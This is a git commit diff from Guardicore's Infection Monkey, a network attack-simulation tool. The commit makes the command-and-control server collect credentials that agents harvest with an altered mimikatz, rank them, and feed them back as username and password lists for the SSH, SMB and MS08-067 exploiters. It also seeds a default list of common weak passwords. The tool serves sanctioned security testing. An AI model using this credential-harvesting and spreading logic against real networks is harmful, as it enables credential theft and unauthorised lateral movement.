Add C&C ability to share credentials found from monkeys

This commit is contained in:
Itay Mizeretz 2017-08-17 18:04:36 +03:00
parent 1e876eb597
commit 1a55c8362f
8 changed files with 59 additions and 38 deletions

View File

@ -150,11 +150,12 @@ Copyright (c) 2016 Guardicore Ltd
See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3). See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).
Dependent packages Dependent packages
--------------------- ---------------------
Dependency | License | Dependency | License | Notes
----------------------------|---------------------------- ----------------------------|----------------------------|----------------------------
libffi-dev | https://github.com/atgreen/libffi/blob/master/LICENSE libffi-dev | https://github.com/atgreen/libffi/blob/master/LICENSE
PyCrypto | Public domain PyCrypto | Public domain
upx | Custom license, http://upx.sourceforge.net/upx-license.html upx | Custom license, http://upx.sourceforge.net/upx-license.html
@ -188,3 +189,4 @@ Dependency | License |
winbind | GPL-3 winbind | GPL-3
pyinstaller | GPL pyinstaller | GPL
Celery | BSD Celery | BSD
mimikatz | CC BY 4.0 | We use an altered version of mimikatz. Original: https://github.com/gentilkiwi/mimikatz

View File

@ -208,8 +208,8 @@ class Configuration(object):
rdp_use_vbs_download = True rdp_use_vbs_download = True
# User and password dictionaries for exploits. # User and password dictionaries for exploits.
exploit_user_list = ['Administrator', 'root', 'user'] exploit_user_list = []
exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_password_list = []
# smb/wmi exploiter # smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds smb_download_timeout = 300 # timeout in seconds

View File

@ -59,8 +59,8 @@
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": true, "skip_exploit_if_file_exist": true,
"local_network_scan": true, "local_network_scan": true,
"exploit_user_list": ["Administrator", "root", "user"], "exploit_user_list": [],
"exploit_password_list" = ["Password1!", "1234", "password", "12345678"] "exploit_password_list" = []
"tcp_scan_get_banner": true, "tcp_scan_get_banner": true,
"tcp_scan_interval": 200, "tcp_scan_interval": 200,
"tcp_scan_timeout": 10000, "tcp_scan_timeout": 10000,

View File

@ -46,12 +46,6 @@ class SSHExploiter(HostExploiter):
passwords = list(self._config.exploit_password_list[:]) passwords = list(self._config.exploit_password_list[:])
users = list(self._config.exploit_user_list) users = list(self._config.exploit_user_list)
known_passwords = [host.get_credentials(x) for x in users]
if len(known_passwords) > 0:
for known_pass in known_passwords:
if known_pass in passwords:
passwords.remove(known_pass)
passwords.insert(0, known_pass) #try first
user_pass = product(users,passwords) user_pass = product(users,passwords)
exploited = False exploited = False

View File

@ -233,6 +233,7 @@ class Ms08_067_Exploiter(HostExploiter):
src_path, src_path,
self._config.dropper_target_path) self._config.dropper_target_path)
# TODO: why are we doing this? Isn't that smbexec's job?
if not remote_full_path: if not remote_full_path:
# try other passwords for administrator # try other passwords for administrator
for password in self._config.exploit_password_list: for password in self._config.exploit_password_list:

View File

@ -88,14 +88,10 @@ class ChaosMonkey(object):
LOG.debug("default server: %s" % self._default_server) LOG.debug("default server: %s" % self._default_server)
ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https')) ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https'))
additional_creds = {}
if WormConfiguration.collect_system_info: if WormConfiguration.collect_system_info:
LOG.debug("Calling system info collection") LOG.debug("Calling system info collection")
system_info_collector = SystemInfoCollector() system_info_collector = SystemInfoCollector()
system_info = system_info_collector.get_info() system_info = system_info_collector.get_info()
if system_info.has_key('credentials'):
additional_creds = system_info['credentials']
ControlClient.send_telemetry("system_info_collection", system_info) ControlClient.send_telemetry("system_info_collection", system_info)
if 0 == WormConfiguration.depth: if 0 == WormConfiguration.depth:
@ -105,14 +101,10 @@ class ChaosMonkey(object):
else: else:
LOG.debug("Running with depth: %d" % WormConfiguration.depth) LOG.debug("Running with depth: %d" % WormConfiguration.depth)
for _ in xrange(WormConfiguration.max_iterations): for _ in xrange(WormConfiguration.max_iterations):
ControlClient.keepalive() ControlClient.keepalive()
ControlClient.load_control_config() ControlClient.load_control_config()
self.update_config_creds(additional_creds)
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
@ -133,9 +125,6 @@ class ChaosMonkey(object):
if ControlClient.check_for_stop(): if ControlClient.check_for_stop():
break break
# TODO: Consider removing later
self.update_config_creds(additional_creds)
is_empty = False is_empty = False
for finger in self._fingerprint: for finger in self._fingerprint:
LOG.info("Trying to get OS fingerprint from %r with module %s", LOG.info("Trying to get OS fingerprint from %r with module %s",
@ -254,16 +243,4 @@ class ChaosMonkey(object):
except Exception, exc: except Exception, exc:
LOG.error("Exception in self delete: %s", exc) LOG.error("Exception in self delete: %s", exc)
def update_config_creds(self, additional_creds):
# TODO: this is temporary until we change server to support changing of config.
for user in list(additional_creds):
if user not in WormConfiguration.exploit_user_list:
WormConfiguration.exploit_user_list.append(user)
creds = additional_creds[user]
if creds.has_key('password'):
password = creds['password']
if password not in WormConfiguration.exploit_password_list:
WormConfiguration.exploit_password_list.append(password)
LOG.info("Monkey is shutting down") LOG.info("Monkey is shutting down")

View File

@ -43,7 +43,6 @@ class MimikatzCollector:
for i in range(entry_count): for i in range(entry_count):
entry = self._get() entry = self._get()
# TODO: Consider what to do when string can't be ascii
username = str(entry.username) username = str(entry.username)
password = str(entry.password) password = str(entry.password)
lm_hash = binascii.hexlify(bytearray(entry.lm_hash)) lm_hash = binascii.hexlify(bytearray(entry.lm_hash))

View File

@ -48,6 +48,9 @@ MONKEY_DOWNLOADS = [
}, },
] ]
INITIAL_USERNAMES = ['Administrator', 'root', 'user']
INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"]
MONGO_URL = os.environ.get('MONGO_URL') MONGO_URL = os.environ.get('MONGO_URL')
if not MONGO_URL: if not MONGO_URL:
MONGO_URL = "mongodb://localhost:27017/monkeyisland" MONGO_URL = "mongodb://localhost:27017/monkeyisland"
@ -65,7 +68,12 @@ class Monkey(restful.Resource):
timestamp = request.args.get('timestamp') timestamp = request.args.get('timestamp')
if guid: if guid:
return mongo.db.monkey.find_one_or_404({"guid": guid}) monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
monkey_json['config']['exploit_user_list'] = \
map(lambda x: x['username'], mongo.db.usernames.find({}, {'_id': 0, 'username': 1}).sort([('count', -1)]))
monkey_json['config']['exploit_password_list'] = \
map(lambda x: x['password'], mongo.db.passwords.find({}, {'_id': 0, 'password': 1}).sort([('count', -1)]))
return monkey_json
else: else:
result = {'timestamp': datetime.now().isoformat()} result = {'timestamp': datetime.now().isoformat()}
find_filter = {} find_filter = {}
@ -195,6 +203,18 @@ class Telemetry(restful.Resource):
except: except:
pass pass
# Update credentials DB
try:
if (telemetry_json.get('telem_type') == 'system_info_collection') and (telemetry_json['data'].has_key('credentials')):
creds = telemetry_json['data']['credentials']
for user in creds:
creds_add_username(user)
if creds[user].has_key('password'):
creds_add_password(creds[user]['password'])
except StandardError as ex:
print("Exception caught while updating DB credentials: %s" % str(ex))
return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
@ -259,6 +279,9 @@ class Root(restful.Resource):
mongo.db.config.drop() mongo.db.config.drop()
mongo.db.monkey.drop() mongo.db.monkey.drop()
mongo.db.telemetry.drop() mongo.db.telemetry.drop()
mongo.db.usernames.drop()
mongo.db.passwords.drop()
init_db()
return { return {
'status': 'OK', 'status': 'OK',
} }
@ -347,13 +370,25 @@ def run_local_monkey(island_address):
return (True, "pis: %s" % pid) return (True, "pis: %s" % pid)
def creds_add_username(username):
mongo.db.usernames.update(
{'username': username},
{'$inc': {'count': 1}},
upsert=True
)
def creds_add_password(password):
mongo.db.passwords.update(
{'password': password},
{'$inc': {'count': 1}},
upsert=True
)
### Local ips function ### Local ips function
if sys.platform == "win32": if sys.platform == "win32":
def local_ips(): def local_ips():
local_hostname = socket.gethostname() local_hostname = socket.gethostname()
return socket.gethostbyname_ex(local_hostname)[2] return socket.gethostbyname_ex(local_hostname)[2]
else: else:
import fcntl import fcntl
def local_ips(): def local_ips():
@ -398,6 +433,17 @@ def send_to_default():
return redirect('/admin/index.html') return redirect('/admin/index.html')
def init_db():
if not "usernames" in mongo.db.collection_names():
mongo.db.usernames.create_index([( "username", 1 )], unique= True)
for username in INITIAL_USERNAMES:
creds_add_username(username)
if not "passwords" in mongo.db.collection_names():
mongo.db.passwords.create_index([( "password", 1 )], unique= True)
for password in INITIAL_PASSWORDS:
creds_add_password(password)
DEFAULT_REPRESENTATIONS = {'application/json': output_json} DEFAULT_REPRESENTATIONS = {'application/json': output_json}
api = restful.Api(app) api = restful.Api(app)
api.representations = DEFAULT_REPRESENTATIONS api.representations = DEFAULT_REPRESENTATIONS
@ -414,6 +460,8 @@ if __name__ == '__main__':
from tornado.httpserver import HTTPServer from tornado.httpserver import HTTPServer
from tornado.ioloop import IOLoop from tornado.ioloop import IOLoop
with app.app_context():
init_db()
http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'}) http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'})
http_server.listen(ISLAND_PORT) http_server.listen(ISLAND_PORT)
IOLoop.instance().start() IOLoop.instance().start()